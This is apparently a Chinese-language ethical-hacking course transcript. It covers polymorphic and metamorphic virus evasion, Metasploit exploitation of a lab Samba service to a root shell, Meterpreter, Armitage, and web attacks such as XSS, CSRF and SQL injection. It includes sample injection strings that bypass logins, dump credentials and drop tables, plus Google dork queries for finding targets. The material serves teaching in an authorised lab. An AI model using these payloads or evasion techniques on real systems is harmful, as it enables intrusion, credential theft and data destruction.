在本节课中,我们将要学习恶意软件中两种关键的规避技术:多态病毒和变形病毒。我们不会讨论具体的黑客工具,而是深入分析这两种病毒的结构,帮助你理解在尝试绕过入侵检测系统(IDS)或入侵防御系统(IPS)时需要考虑的因素。
核心概念:不可预测的编码 🔑

核心思想在于不可预测的编码。这可以通过使用像 MF venom 这样的工具来改变编码次数实现。但最终,解码器必须被隐藏,因为它会与有效载荷一同传输,并且容易被IDS检测到。
加密病毒与签名检测 🛡️

上一节我们介绍了编码的核心思想,本节中我们来看看一个简单的加密病毒如何运作。

上图展示了同一病毒的两个副本。左侧的病毒使用 key1 加密,右侧的病毒使用 key2 加密。因此,每次病毒传播时,它都会改变自身。这使得为病毒创建特征码变得无效。然而,在这两种情况下,解密例程保持不变,这为IDS提供了一个可检测的特征签名。
多态病毒:改变解码器 🧬
既然简单的加密病毒仍有弱点,那么如何进一步隐藏呢?多态病毒应运而生。


上图展示了同一病毒的两个副本,但它被称为多态病毒,在传播时会完全改变所有内容,包括解码器。其思路是在病毒中加入一个变异引擎,该引擎的功能是修改解密例程。
当左侧的病毒传播时,它使用 key1 来解密变异引擎和病毒体。变异引擎随后运行,以某种方式修改解密例程,使得二进制文件(病毒)变得不同,即使解密功能本身未变。一个简单的例子是在二进制代码中添加空操作指令(NOP)。然后选择 key2,用新的加密例程重新加密变异引擎和病毒体。
这样,新的密钥改变了病毒体,而变异引擎改变了解码器。那么,解密例程可能通过哪些方式被修改呢?
以下是几种变异技术,旨在使特征码开发变得不可能:
- 指令重排:以不影响计算结果的方式,重新排列指令或指令组的顺序。
- 添加无用指令:添加像
NOP(空操作)这样的指令。 - 操作无用寄存器:将常量移入程序中未使用的寄存器,或对寄存器进行无实际影响的加法操作。
- 改变运算顺序:如果寄存器AX和BX未被使用,可以改变加法顺序来改变代码形态。

这些只是一些思路,还存在许多其他技术,它们都旨在改变代码的内容,但不改变其功能。
变形病毒:逻辑等效的终极进化 🧩
变形代码将上述变异思想提升了一个层次。在这种情况下,解密例程和病毒体本身都会被修改。

结果是,除了规避检测,病毒在传播时不断变化,保持逻辑功能等效,但改变其形式,这给取证和病毒追踪带来了巨大挑战。

除了前面提到的思路,我们还有源代码变形的概念。这涉及将源代码包含在有效载荷中,并在目标机器上重新编译。例如,在通常装有C编译器的Linux系统上,可以使用 gcc 实现。在不太可能装有C编译器的Windows系统上,可以利用 .NET 框架来编译微软中间语言代码。
最后,变形组件可能会修改病毒的行为,使其效果不同。在这种情况下,恶意软件包实际上包含多个病毒,变异引擎在不同版本间切换。它可能不会复制整个病毒,而只是切换可以改变功能的部分代码段。
其他变形思路与总结 💡
以下是创建逻辑等效变形病毒的其他一些思路:
- 寄存器交换:如前所述,但如果IDS拥有良好的十六进制扫描器,仍可能检测到此类变化。
- 模块顺序重排:如果病毒有多个模块,由于它们通常通过符号调用,可以简单地切换其顺序。如果你有10个模块,就有
10!(10的阶乘)种排列方式可以改变病毒形态。 - 动态栈构建:在数据执行防护(DEP)普及之前,可以在栈上动态构建病毒,但现在这种技术效果较差。
- 常量重定义:像改变常量定义这样的简单技术,同样适用于多态代码。
我们已经讨论了加密病毒,你可以将其视为一种编码的有效载荷。这对于道德黑客和恶意黑客来说都是一种重要工具。

本节课中我们一起学习了多态病毒和变形病毒的工作原理。多态病毒通过变异引擎改变解密例程,而变形病毒则更进一步,同时改变病毒体和解密例程,保持逻辑功能不变但形态万变,从而有效规避基于特征码的检测。理解这些技术对于防御和进行安全评估都至关重要。
039:Metasploit实战案例 🎯
在本节课中,我们将通过两个具体案例,学习如何在实际渗透测试中使用Metasploit框架。你将了解到,成功利用漏洞并非总是直截了当,有时需要创造性的思维和对工具细节的深入理解。

概述
本节课程将演示两个Metasploit实战案例。第一个案例说明漏洞利用与软件版本紧密相关;第二个案例则展示扫描器给出的建议可能具有误导性,我们需要自行寻找有效的利用方式。我们将学习如何根据扫描结果,灵活地选择、配置和尝试不同的漏洞利用模块。

案例一:针对特定软件版本的利用

上一节我们介绍了漏洞扫描的基本概念,本节中我们来看看如何根据扫描结果选择具体的攻击载荷。这个案例表明,漏洞利用模块通常是为特定版本的易受攻击软件设计的,旧版本可能已打过补丁。

在一次Nmap扫描中,我们发现了两个FTP服务版本:VSFTP 2.3.4 和 ProFTP 1.3.1。

Metasploit有一个针对VSFTP的优秀漏洞利用模块。因此,我们来看看能否找到针对ProFTP的利用方式。

如果我们在Metasploit中搜索ProFTP,会发现没有一个模块明确说明支持1.3.1版本。
以下是我们可以尝试的几种思路:
- 我们可以尝试一个针对更新版本ProFTP的漏洞利用模块,推测它可能对旧版本也有效。
- 或者,如果我们认为新版本引入了新的漏洞,旧模块可能无效,那么可以尝试一个针对更旧版本的漏洞利用模块,以测试我们的目标版本是否已修补该漏洞。
![]()

遗憾的是,尝试失败了。这个案例的核心要点再次强调:漏洞利用与软件版本紧密耦合。

案例二:应对扫描器的误导性建议
接下来,我们将攻击一个在扫描阶段由Nessus识别的漏洞。这个案例将展示,即使自动化扫描工具给出了建议,我们也需要批判性地分析和尝试其他可能性。

当我们之前运行Nessus扫描时,CVE-2007-2446被识别为Metasploitable系统上的一个Samba漏洞。Samba服务是一个兼容性程序,旨在让Windows和Linux系统能够交互并共享文件和打印服务,它依赖于服务器消息块(SMB)应用层网络协议。

上图是我们在扫描模块中看到的截图副本,你可以在参考信息框中看到CVE编号,红色方框高亮显示了Nessus对名为“Samba LSA Trans Named Heap Overflow”的Metasploit漏洞利用模块的推荐。
如果我们在Metasploit中搜索该CVE编号,它会显示9个漏洞利用模块,其中只有一个针对Linux系统。但请注意,它的评级仅为“良好”(good),这意味着它高于平均水平,但显然不是“优秀”(excellent)。既然Nessus推荐了这个漏洞利用模块,我们应该尝试一下。


上图展示了针对Metasploitable测试该漏洞利用模块的必要步骤,包括之前讨论过的搜索步骤。在选择推荐的漏洞利用模块后,我们尝试了一个反向TCP载荷,设置了IP地址和端口,然后运行了漏洞利用程序。我们得到的回应是:这不是一个易受攻击的Samba服务器。
我们可以尝试更换载荷或更换漏洞利用模块,但这实际上是一种随机且低效的方法。

相反,让我们基于“Samba”而不是具体的“CVE编号”进行搜索。
我们看到有一个针对多系统、评级为“优秀”的漏洞利用模块。这是我们想要牢记的一个思路:什么是寻找更有效漏洞利用模块的好途径?

我们查看了可用的载荷,并像之前一样选择了一个反向TCP载荷。当我们查看选项时,发现需要设置远程主机和端口,但还需要设置一个监听器来等待反向连接。

请注意,我将远程端口从139改为了445。这可能不是必须的,因为我们攻击的是Linux机器,但另一方面,我们知道端口445在所有Windows版本中取代了Windows NetBIOS端口137-139,并且是Windows文件共享的首选端口。如果445端口不行,我们可以尝试其他端口。这也是一个重要思路,因为我们的道德黑客实验环境中的防火墙并未开放所有端口。我们需要找到一种方法来利用那些开放的端口。例如,我们的防火墙既没有开放139端口也没有开放445端口。因此,如果防火墙正在运行,针对Samba的攻击可能不会成功。


在这个案例中,当我们运行漏洞利用程序时,我们得到了一条消息:命令shell已打开。然而,我们并没有获得一个图形化的shell提示符。但如果我们尝试ls命令,可以看到我们已经能够访问Metasploitable机器,进一步的探索表明我们拥有root权限,并且可以读取shadow文件。现在,我们可以导出密码和shadow文件,并运行John the Ripper来查看哪些密码可以被破解。

需要提醒的是,作为道德黑客,我们的目标不是获取原始访问权限。我们的目标是评估攻陷该系统对其承载的业务使命的影响。我们希望向客户呈现一个有意义的风险图景,以便他能够在额外安全机制的投资与业务使命面临的风险之间进行权衡。
我们利用了Samba中的一个漏洞,尽管扫描器为我们推荐了不同的漏洞利用模块。我们可能希望使用show info命令了解更多关于这个成功利用模块的信息,它告诉我们这是2007年Samba漏洞利用序列中的下一个。我们应该阅读CVE的详细信息,甚至可能查看漏洞利用数据库,以理解为什么CVE-2007-2447有效而CVE-2007-2446无效。

这是info命令的截图。除了其他信息外,它还提供了目标列表。在这种情况下,目标是自动的,无需选择,尽管在顶部它确实指定了是Unix而非Windows。它还提供了漏洞利用的描述和作者的电子邮件地址。


总结

本节课中我们一起学习了两个Metasploit实战案例。我们认识到,自动化扫描工具的建议并非总是最佳或唯一选择,漏洞利用的成功与否与目标软件的具体版本、配置及网络环境(如防火墙规则)密切相关。有效的渗透测试需要测试者结合扫描结果、对漏洞原理的理解以及创造性的思维,灵活地尝试和调整攻击路径。记住,道德黑客的最终目标是评估风险,而不仅仅是获得系统访问权。

以上是Metasploit示例的结束。接下来,将会有一个录制的Meterpreter演示和一些关于一个相当“嘈杂”的工具——Armitage的截图。


040:Meterpreter演示与Armitage工具 🛠️
在本节课中,我们将学习Meterpreter后渗透工具的基本工作流程,并了解自动化攻击工具Armitage的功能与局限性。
概述 📋
本节内容分为两部分。首先,我们将回顾Meterpreter建立会话的关键步骤。随后,我们将通过截图介绍Armitage工具,特别是其“Hail Mary”攻击模式,并分析其在真实环境中的适用性。
Meterpreter工作流程回顾 🔄
上一节我们介绍了漏洞扫描,本节中我们来看看如何利用漏洞建立Meterpreter会话。Meterpreter会话的建立包含多个阶段。
以下是建立会话的三个核心步骤:
- 获取初始立足点:发送一个载荷(payload),在目标机器上创建一个反向Shell连接回攻击者(Kali)机器。
- 进行DLL注入:载荷的第二部分是一个DLL注入,用于接收并部署Meterpreter服务器。
- 开始通信:Meterpreter服务器部署完成后,攻击者即可通过Meterpreter客户端与目标进行交互。

在扫描模块中如果未观看演示视频,现在需要观看。演示针对已过时的Windows XP系统运行Metasploit,但它成功打开了一个Meterpreter shell,并展示了通过Meterpreter可用的诸多功能。
关于Armitage工具 🖥️
在观看Meterpreter演示视频之前,我们先通过几张截图来了解一个名为Armitage的工具。Armitage是Metasploit框架的图形化界面,集成了自动化攻击功能。
幻灯片中的截图是在我的所有虚拟机位于同一网段且没有防火墙的环境下截取的。这与你们当前道德黑客实验环境的配置不同。如果想复现此结果,除非重新配置网络,否则结果将不一致。

在此案例中,目标将是Metasploitable和Damn Vulnerable Linux(DVL),Windows XP也是潜在目标。Armitage的一个特性是它可以运行“Hail Mary”攻击,针对一系列IP地址尝试整套漏洞利用程序。
“Hail Mary”攻击分析 ⚠️

此截图显示,“Hail Mary”攻击向目标IP地址抛出了276个漏洞利用程序。这种攻击方式会产生大量噪音,对于不希望被检测和阻止的道德黑客而言,并非可行的技术。
攻击结果与交互 🎯
此截图显示两台虚拟机被攻陷,但Damn Vulnerable Linux没有。这可能因为DVL是另一种类型的学习工具。在底部红色方框中可以看到,针对Metasploitable启动了两个使用不同漏洞利用的shell,并针对Windows XP创建了一个Meterpreter shell。

此截图显示,连接到XP2的Meterpreter shell在建立后很快失效,但连接到Metasploitable的shell仍然活跃。右键单击会弹出一个用于与shell(本例中为shell 2)交互的菜单。
环境适配与工具评价 📝
不幸的是,如果在当前实验网络(包括开启了防火墙的Windows 7客户端)上运行Armitage,将无法获得任何会话。如果关闭防火墙,你应该能使用与实验中将用到的相同漏洞(PHP CGI参数注入)在Metasploitable上获得一个会话。

如果尚未观看Meterpreter演示,请不要忘记观看。尽管目标是Windows XP,但它展示了一些非常有趣的Meterpreter功能。
Armitage更像是一个自动化漏洞利用工具。除了脚本小子(script kiddies)可能会使用外,“Hail Mary”攻击对任何人来说都过于嘈杂。但该工具还有许多其他自动化选项值得探索。
总结 🎓

本节课中我们一起学习了Meterpreter建立会话的多阶段过程,包括获取立足点、DLL注入和建立通信。同时,我们了解了Armitage这一自动化攻击工具,认识到其“Hail Mary”等全量攻击模式在真实渗透测试中因噪音过大而不适用,但该工具仍具备其他有价值的自动化功能供探索。请务必观看Meterpreter演示视频以直观理解其强大功能。
041:Web应用渗透 🕵️
在本节课中,我们将学习Web应用渗透测试的基础知识。我们将介绍一个名为Mutillidae的渗透测试实验平台,并探讨三种关键的Web应用安全漏洞:SQL注入、跨站脚本攻击和跨站请求伪造。课程将遵循一个简化的道德黑客方法论,并重点讲解这些漏洞的原理和攻击向量。
Mutillidae简介 🐛
Mutillidae是一个免费、开源的Web应用程序,专门用于支持针对Web应用的渗透测试实验。

Mutillidae的当前版本代号为“No Wasp”,即版本2.x。它由Jeremy Druin(又名“weaponized”)开发。版本2.x是基于Adrian “Irongeek” Crenshaw的Mutillidae项目构建的,该项目现在被称为Mutillidae 1.x或Mutillidae经典版。经典版仍然可以在SourceForge上找到,与当前项目并存。
Metaploitable虚拟机附带了一个较旧版本的Mutillidae 2.x。虽然这不是最新版本,但本实验模块将讨论在Metaploitable中更新Mutillidae的选项。

屏幕上显示的网站irongeek.com由Adrian维护,包含大量计算机安全信息,值得浏览。幻灯片上显示的特定链接包含一系列基于Mutillidae的渗透测试研讨会视频。本模块相关实验中的大部分材料都提取自这些视频。如果在实验中遇到困惑,这些视频可能有助于澄清疑点。
Mutillidae还有许多方面在本模块乃至本课程中都不会涉及,你可能需要自行探索。Adrian Crenshaw的信息安全材料被多所大学用于其网络安全课程,而Jeremy Druin则是一名专业的Web渗透测试员。
方法论调整与OWASP Top 10 📋
回到我们的道德黑客方法论,Web利用阶段跳过了扫描阶段。我采用这种方法是因为我希望将扫描和网络利用的讲座内容紧密联系在一起。在Web利用讲座的最后,我将讨论Web应用扫描器,以便与抽象化的方法论重新对齐。

OWASP Top 10是由领域专家编制的一份重要Web漏洞列表。你可以看到2010年和2013年的列表有所不同,而2017年的新列表最近已发布供公众评议。此处的颜色标识了列表中的差异。这表明有三个漏洞被移除,三个被添加,但实际上只有两个,因为“缺失功能级访问控制”实际上包含了“失效的访问限制”。我们只探讨其中三个用红色框高亮显示的漏洞。你可以看到它们同时出现在旧列表和新列表中,这表明它们仍然是我们需要理解的重要攻击向量。作为道德黑客,我们可以利用它们;作为防御者,我们可以保护我们的网络基础设施免受其害。
开放Web应用安全项目是一个专注于改善软件安全的非营利组织。OWASP内部研究多个不同的项目,但OWASP Top 10最为知名。它已存在大约十年,并定期更新。它代表了Web安全社区关于最关键Web应用安全缺陷的广泛共识。你在这里看到的是2010年的OWASP Top 10列表。更新的OWASP列表于2013年发布,并得到当前版本Mutillidae的支持。但Metaploitable 2附带的是较旧的Mutillidae版本2.1.19。出于技术原因,我们将坚持使用这个版本。我们将涵盖的主题同时出现在OWASP 2010和2013列表中。但如果你想保持最先进的渗透测试环境,如果它在你的环境中可用,你会希望使用最新版本。我在最新版本中遇到了一些技术问题,该问题自2014年1月以来已被列为SourceForge上的一个bug。这个bug并不影响所有配置,因此最新版本可能在你的实验环境中可用。实验将为你提供一些如何检查的指导原则。如果你能让当前版本在虚拟网络中运行,请告诉我。

Web交互基础与代理 🔄
以下是浏览器如何与Web服务器交互的简要回顾。浏览器向Web服务器发送一个HTTP请求,Web服务器返回一个文件。

在过去,Web服务器会生成并返回一个静态HTML页面。Web 2.0和AJAX改变了这一点。如今,Web服务器返回的PHP内容是动态生成的。实际上,网页上可能还有根本不通过浏览器渲染的代码。网页的异步更新由这段代码与Web服务器之间的交互管理,并且可能完全不需要用户参与。这个动态组件正是我们将要探索的一些漏洞所在之处。
这张幻灯片展示的另一个重要概念是,Web服务器充当了数据库的隔离机制,因为所有请求都经过Web服务器。事实上,一些天真的管理员认为Web服务器保护了数据库。我们将在本模块中看到情况并非如此。虽然Web服务器代理所有通往数据库的请求,但粗心的Web服务器代码不仅可能危及数据库,还可能提供其他攻击向量。
代理是一种充当中间人的应用程序,处理来自客户端的请求,这些客户端正在向服务器请求资源。代理位于中间处理这些请求,这意味着处理可以暂时停止。在我们的案例中,我们感兴趣的是安装在浏览器所在机器上的、位于浏览器和Web服务器之间的代理。传出的HTTP和传入的HTML消息都可以被捕获、审查,并在转发前进行修改。Kali Linux中预装的一个代理是Burp Suite。另一个是WebScarab。Burp Suite很好,因为它提供了一整套对Web服务器进行渗透测试有用的工具。它在识别注入点方面非常有用。
SQL注入攻击 💉
由于互联网上的数据库安装在Web服务器后面,并且对数据库的访问仅允许通过Web服务器本身进行,一些网站管理者天真地认为数据库是安全的。当然,我们知道总存在内部攻击威胁,但撇开这一点,本模块将讨论一些被称为SQL注入的技术,这些技术可能允许我们间接从数据库获取大量信息。在此上下文中,“间接”意味着我们通过Web服务器,并诱骗它传递有助于映射数据库的请求。


SQL注入的理念是,从浏览器传递给Web服务器的信息并非程序员所预期的。如果Web程序员未能过滤预期的输入,那么转发到数据库的SQL查询可能会通过浏览器输入的内容被修改,并可能执行非预期的操作。它可能提供足够的信息,从而创建进入数据库的攻击向量。
在讨论SQL注入示例之前,我想先回顾一下SQL的工作原理。在这个例子中,我们有一个名为users的简单表,它有四列:ID、name、password和signature。这个简单表中只有三行,但这足以解释底部的SQL语句。然而,在此之前,我想指出密码是以明文存储的,没有进行哈希处理,这是一个严重的安全错误。SQL查询将返回monkey。蓝色文本代表SQL命令,黑色代表表中的列名,灰色代表表名,红色代表选择条件。因此,这个语句的意思是:查看名为users的表,并找到当name等于admin且password等于adminpass时,该行的signature字段。
以下是SQL注入工作原理的简单动画演示。首先,我们看到一个正常的查询。浏览器中输入的信息是程序员预期的。它由Web服务器解析,生成的SQL查询被转发,要求数据库在输入密码与用户表中该用户关联时返回特定用户。这种选择语句可能用于用户登录时的身份验证过程,当用户名和密码在表单中输入时。当然,为了保护传输中的密码,传递的密码将是哈希值。

第二个查询是一个注入,其中输入的用户名不是程序员预期的。相反,它是一个不寻常的字符串,如果未被过滤,将被传递给数据库,就好像它是一个用户名一样。我们稍后将详细讨论这一点。但当这种情况发生时,数据库可能会让未经授权的用户登录,或者返回程序员未预期的信息。在这种情况下,攻击的目标是数据库,而Web服务器提供了攻击向量。
跨站脚本攻击 🎭

我们将探讨的第二个弱点是跨站脚本攻击。XSS的理念是让浏览器在不知情的情况下执行一些恶意脚本。如本列表所示,恶意脚本可以实现许多不同的目标。我们最终将探索列表中的第一项和第二项:在会话处于活动状态时窃取会话cookie,这允许我们劫持会话并使其保持活动状态,即使在授权用户注销后也是如此。我们不会探索列表中的其他项,但我们经常在报纸文章中看到对其中一些的描述。提醒一下,我们大多数人都允许JavaScript自动运行。事实上,对于Mozilla,你必须安装一个插件才能对JavaScript进行一些控制。即使将JavaScript设置为提示模式,也不总是容易决定是否应该让它运行。你如何判断它是否是恶意的?这意味着,如果你访问一个已被“毒化”的网站,无需采取任何行动,脚本就会运行。
以下是三种众所周知的XSS攻击:反射型、DOM注入型和存储型。
在反射型攻击中,注入的脚本从Web服务器反射回来。反射回来的可能是一个错误消息或搜索结果。但关键之处在于,它包含了一些最初由浏览器作为请求的一部分发送给服务器的脚本。一个明显的问题是:恶意脚本是如何进入受害者请求的?它们通常通过次要途径传递给受害者,例如电子邮件消息或与不同恶意网站上链接的交互。当用户被诱骗点击恶意链接时,一个特制的POST或GET请求被提交。它包含注入的代码,这些代码传播到易受攻击的网站,该网站将攻击反射回用户的浏览器。然后浏览器执行该代码,因为它来自我们有意导航到的受信任服务器。
在存储型攻击中,恶意脚本通常存储在数据库中,并在受害者请求数据库信息时返回给受害者。XSS实验将花费大量时间在这种攻击上。
DOM注入实际上是一种客户端攻击。服务器没有向浏览器返回可执行的JavaScript。相反,已被服务器清理过的数据,或者可能从未发送到服务器的数据,被页面上的现有代码转换为可执行的JavaScript。攻击载荷是通过修改受害者浏览器中的DOM环境而执行的,从而使合法的客户端代码以意外的方式运行。页面本身没有改变,但由于恶意修改,页面中包含的客户端代码执行方式不同。

存储型XSS攻击示例:博客投毒 📝
“毒化”博客意味着毒化数据库。对易受攻击的Web应用的博客进行毒化的第一步是在发布博客条目时包含恶意脚本。这将被存储在数据库中。如果Web应用存在漏洞,它将运行脚本而不是显示它。一旦博客被毒化,无辜的用户访问并查看博客。当这种情况发生时,脚本会随博客条目一起返回,但不会为用户显示。用户甚至无法察觉它的存在。由于易受攻击的Web应用将脚本解析到HTML中的方式,浏览器只是简单地执行了脚本。一旦脚本执行,攻击就成功了,脚本执行的操作就会发生。受害者可能会也可能不会发布博客条目。但可以肯定的是,他已经成为了受害者。在这种情况下,目标是浏览器。目的是让浏览器执行恶意脚本。它之所以有效,是因为浏览器信任Web服务器。
跨站请求伪造攻击 🔄

跨站请求伪造是我们将探讨的第三种Web应用漏洞。

其理念是利用这样一个事实:一旦用户向应用程序进行身份验证,后续交易将使用会话令牌。因此,攻击是强制浏览器将一个有效的令牌附加到一个伪造的交易上,该交易执行用户不知道且不打算执行的操作。这在教科书中通常用资金转账的例子来解释。一个伪造的转账请求通过简单地附加会话令牌被秘密发送到银行,因为受害者已经登录。
在XSS中,攻击成功是因为浏览器信任Web服务器。而这种攻击之所以能够进行,是因为Web服务器信任浏览器。攻击过程如下:首先,浏览器登录到应用程序并收到一个会话令牌。每当一个有效交易发送到应用程序时,都会附加一个cookie。应用程序检查cookie,认为其有效并完成交易。现在,恶意用户能够伪造一个交易。例如,如果受害者和攻击者都有同一家银行的账户,攻击者可以捕获一些他自己的Web交易细节,并利用这些细节伪造一个将资金从受害者转移到攻击者账户的交易。然后,他将伪造的交易发送到受害者的浏览器,并让浏览器将其连同会话cookie一起发送给Web应用程序。在这种情况下,目标是信任授权浏览器不会执行非预期交易的Web应用程序。
CSRF令牌是缓解CSRF攻击的重要方法。其理念是让运行在服务器上的Web应用在用户正在查看的表单上提供一个CSRF令牌作为服务器签名。它通常隐藏在页面的某个地方。当用户填写表单并按下提交按钮时,令牌从页面读取并返回给服务器。这允许服务器验证令牌是否相同,以及输入是否来自该表单。换句话说,它不是由代表用户的恶意JavaScript填写的,因为恶意JavaScript无法访问Web应用表单上的当前令牌。恶意攻击者可以通过自己访问网站来收集CSRF令牌,但它不会与用户登录时收到的令牌匹配。

总结 📚
本节课中,我们一起学习了Web应用渗透测试的基础知识。我们首先介绍了用于实验的Mutillidae平台及其背景。然后,我们探讨了道德黑客方法论在Web利用阶段的调整,并重点学习了OWASP Top 10中的三种核心漏洞:SQL注入、跨站脚本攻击和跨站请求伪造。
我们了解了SQL注入如何通过Web服务器攻击后端数据库,XSS如何利用浏览器对服务器的信任执行恶意脚本,以及CSRF如何利用服务器对浏览器的信任执行未授权操作。每种攻击都针对不同的目标:数据库、Web服务器或用户浏览器,并利用了信任关系的弱点。

通过理解这些漏洞的原理和攻击向量,作为未来的道德黑客和安全专业人员,我们能够更好地识别、利用这些漏洞进行安全评估,并设计有效的防御措施来保护Web应用。在接下来的实验和课程中,你将有机会实践这些攻击技术,从而加深对Web安全的理解。
042:SQL注入攻击 🎯
在本节课中,我们将要学习SQL注入攻击的基本概念、攻击策略以及一些简单的示例。SQL注入是一种针对后端数据库的攻击技术,通过向数据库提交恶意构造的SQL查询,攻击者可以获取数据库的结构信息甚至敏感数据。请注意,本课程中讨论的技术仅用于授权的道德黑客环境,严禁在未经许可的真实网站或数据库上尝试。
概述
SQL注入攻击利用了Web应用程序对用户输入数据过滤不严的漏洞。攻击者通过提交看似合法但实际包含恶意SQL代码的输入,诱使数据库执行非预期的操作。这种攻击常见于电子商务网站,因为这类网站通常存储大量信用卡号和个人身份信息(PII),这些信息在黑市上具有很高的价值。
SQL注入的攻击策略
攻击者通常采用三种主要策略来攻击基于SQL的数据库。
1. 攻击查询本身

这种策略的核心是向数据库提交特殊字符,观察数据库的响应。通常,攻击者会尝试使用SQL查询中常见的分隔符,如单引号(')或双引号(")。通过分析数据库的错误信息或异常行为,攻击者可以推断出数据库的某些信息,并利用SQL查询的语法来构造更复杂的恶意输入。
2. 利用正常查询揭示信息
在这种策略中,攻击者提交看似正常的查询,但通过精心操纵输入参数,可以从数据库的响应中解析出重要信息。例如,通过尝试用不同的格式(如整数、十六进制值、数学表达式甚至SQL表达式)为行标识符赋值,观察数据库的不同响应,从而推断出数据库的结构或内容。
3. 利用SQL数据库的逻辑
这种策略旨在利用SQL数据库的逻辑,使其返回超出程序员预期的额外或不同的信息。这通常用于映射数据库结构。虽然程序员从未打算将这些信息返回给用户,但由于Web应用程序中存在薄弱或缺失的数据过滤器,攻击者可以请求并获取这些信息。
直接攻击与默认凭证
虽然本模块不重点讨论对数据库的直接攻击,但如果攻击者能够直接访问数据库,他们可能会尝试使用默认的配置信息。许多数据库系统在安装时使用默认的用户名和密码,如果管理员未更改这些设置,攻击者就可以轻易获得访问权限。
以下是几个常见数据库的默认凭证和监听端口示例:
- MySQL: 用户
root, 密码为空, 端口3306 - MS SQL: 用户
sa, 密码为空, 端口1433 - Oracle: 用户
scott, 密码tiger, 端口1521

相应的缓解措施包括:不使用默认密码、删除不必要的账户以及更改默认监听端口。不过,更改端口对经验丰富的攻击者效果有限,他们可以通过扫描所有端口来发现数据库服务。
基本的SQL命令
理解SQL注入之前,需要了解一些基本的SQL命令。SQL语言非常复杂,但以下四个命令展示了如何创建表、插入数据、查询数据以及删除表。
CREATE TABLE users (name VARCHAR(20), password VARCHAR(20));
INSERT INTO users VALUES ('john', 'mypass');
SELECT * FROM users;
DROP TABLE users;

请注意,这里的 CREATE TABLE 语句非常简单,甚至没有定义键约束。这只是一个示例,说明可能通过Web服务器暴露给用户的简单命令。理解这些基本的SQL语法概念,有助于我们理解SQL注入是如何利用这些语法的。
SQL注入示例解析
示例1:简单的登录绕过
考虑一个简单的数据库登录过程。Web表单提示用户输入用户名和密码,然后应用程序构造如下查询进行验证:

SELECT username FROM users WHERE username = ‘$user’ AND password = ‘$pass’;
如果用户输入 admin 作为用户名,secret 作为密码,则查询变为:
SELECT username FROM users WHERE username = ‘admin’ AND password = ‘secret’;
这是一个经典的SQL注入示例。攻击者可以在用户名或密码字段中输入特殊字符来改变查询逻辑。例如,在用户名字段输入:

‘ OR ‘1’=’1
那么最终的查询语句会变成:
SELECT username FROM users WHERE username = ‘’ OR ‘1’=‘1’ AND password = ‘$pass’;
在这个例子中,第一个单引号闭合了原本的用户名检查。由于 username = ‘’ 结果为假,但 ‘1’=‘1’ 永远为真,并且使用了 OR 逻辑连接符,因此整个 WHERE 子句的条件得到满足。数据库会返回用户表中的第一条记录,如果这是一个登录过程,攻击者就能以第一个用户的身份成功登录。
示例2:使用UNION操作符
另一个例子是利用 UNION 操作符来获取额外数据。假设一个查询根据城市筛选员工:
SELECT name, salary FROM employees WHERE city = ‘$city’;

攻击者可以输入:
‘ UNION SELECT username, password FROM users --
那么查询将变为:

SELECT name, salary FROM employees WHERE city = ‘’ UNION SELECT username, password FROM users --’;
-- 是SQL中的注释符,会使后面的单引号被忽略。这样,查询将返回 employees 表中城市为空的记录(通常没有),并联合(UNION)返回 users 表中的所有用户名和密码。

示例3:注入额外SQL语句
有时,注入点期望一个整数值(如用户ID)。程序员的本意是:
SELECT info FROM users WHERE id = $userid;
如果攻击者输入:
1; DROP TABLE users;
查询将变为:
SELECT info FROM users WHERE id = 1; DROP TABLE users;

这会在执行完查询后,立即执行一个删除 users 表的语句,导致数据库无法使用,直到被恢复。
SQL注入的分类
根据数据从数据库传输给攻击者的方式,SQL注入可以分为以下几类:
- 带内注入 (In-Band): 最常见。攻击结果(如数据或错误信息)直接显示在Web页面上。
- 带外注入 (Out-of-Band): 攻击通过Web发送请求,但信息通过其他渠道(如电子邮件、DNS响应)返回给攻击者。
- 推断注入/盲注 (Inferential/Blind): 攻击者无法直接看到数据,但可以通过观察数据库对真假条件的不同响应(如页面返回时间的差异)来推断信息。时间盲注 是其中一种,攻击者通过诱导数据库在条件为真时延迟响应,在条件为假时快速响应,从而逐字符地推断出数据(如用户名和密码)。
利用Google搜索寻找目标
“Google黑客”是指利用Google的高级搜索功能来寻找可能易受攻击的网站或特定资源。例如,我们可以使用 inurl: 指令来查找数据库登录页面。
- 搜索:
inurl:login.php - 搜索:
inurl:index.php?id=

这些搜索可能会返回一些潜在的易受攻击的站点。攻击者可以尝试在这些站点的输入框中提交简单的注入字符串(如一个单引号 ‘),观察是否有数据库错误信息返回,从而快速判断该站点是否存在SQL注入漏洞,并决定是否值得进一步深入探查。

总结
本节课我们一起学习了SQL注入攻击的基础知识。我们介绍了三种主要的攻击策略:直接攻击查询、利用正常查询以及操纵数据库逻辑。通过多个示例,我们分析了如何利用SQL语法漏洞绕过身份验证、获取额外数据甚至破坏数据库。我们还了解了SQL注入的不同分类(带内、带外、盲注)以及如何利用Google搜索来寻找潜在的攻击目标。

理解这些基础概念和示例,是进一步学习复杂SQL注入技术和防御措施的关键。在下一讲中,我们将更深入地探讨SQL注入的“上下文”问题,即攻击载荷在Web服务器解析后最终在SQL查询中所处的位置,这对于构造成功的注入攻击至关重要。
043:内容安全研究 🔍
在本节课中,我们将要学习内容安全研究的核心概念,特别是SQL注入攻击中至关重要的“上下文”概念。理解注入发生的上下文环境,是构造有效攻击载荷、绕过安全过滤并成功获取信息的关键。
理解注入上下文
上一节我们介绍了SQL注入的基本原理,本节中我们来看看上下文。上下文指的是Web应用程序在解析用户输入时,SQL注入载荷最终“着陆”的位置。
了解最终的上下文环境,能让我们修改注入载荷,使得最终的SQL语句在语法上正确,同时仍能泄露程序员本不打算公开的信息。我们开始时并不知道上下文,但我们已经知道单引号可以闭合一个比较语句,并允许执行额外的SQL子句。
如果这未能获取信息,SQL语句中还会经常出现其他字符。以下是SQL语句中常见的特殊字符列表:
'- 单引号"- 双引号)- 右括号;- 分号#- 井号--- 双减号(SQL注释)
使用“金丝雀”探测上下文
“金丝雀”指的是一个独特的字符串,当HTML被传回浏览器时,我们可以追踪这个字符串来寻找它。我们会使用像Burp Suite这样的代理工具来捕获响应,或者使用Firebug查看源代码。这两种工具都将在实验中进行探索。

当然,金丝雀可能根本不会被返回。如果是这种情况,我们可以尝试其他字符。最好的情况是生成一个错误消息,直接向我们提供上下文信息。

没有上下文信息,在渗透测试Web应用时,可能需要大量信息来确定下一步。当我们注入特定上下文的字符串时,我们希望获得关于应用程序异常、应用程序路径、平台路径或SQL命令的披露信息,所有这些都将有助于优化注入攻击。
当然,如果我们被注入到另一个上下文(如JavaScript),上下文将完全不同。我们将在实验室中学习跨站脚本和跨站请求伪造时看到这一点。
上下文与安全编码
